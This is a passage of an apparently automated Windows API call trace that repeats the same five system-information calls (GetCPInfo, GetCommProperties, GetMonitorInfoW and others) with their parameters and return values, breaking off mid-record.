lpSelectorEntry=0x18feb8) returned 1 [0112.734] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.734] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.734] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.734] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.734] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.734] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.734] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.734] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.734] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.735] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.735] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.735] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.735] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.735] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.735] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.735] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.735] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.735] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.735] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.735] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.735] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.735] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.735] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.735] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.735] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.735] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.735] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.736] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.736] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.736] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.736] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.736] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.736] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.736] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.736] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.736] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.736] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.736] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.736] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.736] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.736] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.736] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.736] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.736] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.736] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.736] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.736] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.736] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.736] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.736] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.736] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.736] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.736] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.736] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.736] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.736] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.736] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.736] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.736] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.736] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.736] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.737] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.737] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.737] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.737] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.737] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.737] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.737] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.737] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.737] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.737] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.737] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.737] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.737] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.737] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.737] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.737] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.737] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.737] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.737] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.737] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.737] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.737] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.737] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.737] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.737] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.737] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.737] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.737] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.737] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.737] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.737] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.737] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.737] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.737] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.738] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.738] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.738] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.738] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.738] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.738] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.738] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.738] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.738] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.738] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.738] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.738] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.738] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.738] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.738] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.738] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.738] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.738] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.738] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.738] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.738] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.738] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.738] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.738] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.738] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.738] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.739] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.739] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.739] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.739] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.739] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.739] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.739] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.739] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.739] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.739] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.739] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.739] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.739] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.739] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.739] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.739] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.739] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.739] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.739] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.739] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.739] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.739] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.739] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.739] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.739] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.740] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.740] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.740] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.740] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.740] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.740] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.740] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.740] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.740] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.740] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.740] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.740] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.740] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.740] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.740] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.740] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.740] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0112.740] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0112.740] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0112.740] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0112.740] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0112.740] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: 